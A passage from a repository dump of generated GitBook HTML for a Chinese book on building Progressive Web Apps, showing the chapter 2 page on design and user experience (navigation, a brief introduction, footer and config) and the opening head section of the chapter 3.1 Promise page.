data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第2章 设计与体验</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\"><b></b>&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;</a></li></ul></div><a href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\"><a name=\"&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\" class=\"plugin-anchor\" href=\"#&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x8BBE;&#x8BA1;&#x4E0E;&#x4F53;&#x9A8C;</h1>\n<p>PWA &#x7684;&#x63D0;&#x51FA;&#x5305;&#x542B;&#x4E86;&#x5F88;&#x591A;&#x65B0;&#x7684;&#x6280;&#x672F;&#xFF0C;&#x5982; Service Worker &#x7B49;&#xFF0C;&#x4F46;<strong>&#x7528;&#x6237;&#x4F53;&#x9A8C;</strong>&#x624D;&#x662F;&#x5B83;&#x7684;&#x6838;&#x5FC3;&#xFF0C;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x5305;&#x62EC;&#x5F88;&#x591A;&#x65B9;&#x9762;&#xFF0C;&#x901F;&#x5EA6;&#x3001;&#x987A;&#x6ED1;&#x5EA6;&#x3001;&#x9605;&#x8BFB;&#x4F53;&#x9A8C;&#x7B49;&#xFF0C;&#x8FD9;&#x4E0D;&#x662F;&#x5355;&#x9760;&#x8BBE;&#x8BA1;&#x5E08;&#x80FD;&#x505A;&#x5230;&#x7684;&#xFF0C;&#x9700;&#x8981;&#x8BBE;&#x8BA1;&#x4E0E;&#x6280;&#x672F;&#x4E92;&#x76F8;&#x914D;&#x5408;&#xFF0C;&#x8BBE;&#x8BA1;&#x914D;&#x5408;&#x6280;&#x672F;&#xFF0C;&#x6280;&#x672F;&#x5B9E;&#x73B0;&#x8BBE;&#x8BA1;&#x3002;&#x8BBE;&#x8BA1;&#x5E08;&#x9700;&#x8981;&#x8003;&#x8651;&#x5982;&#x4F55;&#x7F29;&#x77ED;&#x7528;&#x6237;&#x8F6C;&#x5316;&#x6D41;&#x7A0B;&#xFF0C;&#x5982;&#x4F55;&#x5E03;&#x5C40;&#xFF0C;&#x8BA9;&#x7528;&#x6237;&#x80FD;&#x65B9;&#x4FBF;&#x5FEB;&#x6377;&#x7684;&#x83B7;&#x53D6;&#x4FE1;&#x606F;&#xFF0C;&#x8FD8;&#x9700;&#x8981;&#x8003;&#x8651;&#x5982;&#x4F55;&#x914D;&#x5408;&#x6280;&#x672F;&#x8FBE;&#x5230;&#x6700;&#x4F73;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#xFF1B;&#x5F00;&#x53D1;&#x4EBA;&#x5458;&#x540C;&#x6837;&#x9700;&#x8981;&#x8003;&#x8651;&#x91C7;&#x7528;&#x4F7F;&#x7528;&#x4EC0;&#x4E48;&#x6280;&#x672F;&#x6765;&#x8FBE;&#x5230;&#x4F53;&#x9A8C;&#x6700;&#x4F18;&#x3002;</p>\n<p>&#x672C;&#x7AE0;&#x4F1A;&#x4ECE;&#x4F53;&#x9A8C;&#x539F;&#x5219;&#x3001;App Shell&#x3001;&#x9AA8;&#x67B6;&#x5C4F;&#x548C;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x6765;&#x5206;&#x6790;&#x8BBE;&#x8BA1;&#x548C;&#x6280;&#x672F;&#x5982;&#x4F55;&#x4E92;&#x76F8;&#x914D;&#x5408;&#x6765;&#x8FBE;&#x5230;&#x6700;&#x4F73;&#x4F53;&#x9A8C;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:41 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter01/6-your-first-pwa.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 1.6 你的第一个 PWA\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter02/1-what-is-good-ux.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 2.1 什么是好的用户体验\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第2章 设计与体验\",\"level\":\"1.3\",\"depth\":1,\"next\":{\"title\":\"2.1 什么是好的用户体验\",\"level\":\"1.3.1\",\"depth\":2,\"path\":\"chapter02/1-what-is-good-ux.md\",\"ref\":\"chapter02/1-what-is-good-ux.md\",\"articles\":[]},\"previous\":{\"title\":\"1.6 你的第一个 PWA\",\"level\":\"1.2.6\",\"depth\":2,\"path\":\"chapter01/6-your-first-pwa.md\",\"ref\":\"chapter01/6-your-first-pwa.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter02.md\",\"mtime\":\"2019-06-19T10:37:41.996Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter03/1-promise.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>3.1 Promise · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-async-function.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter03.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script 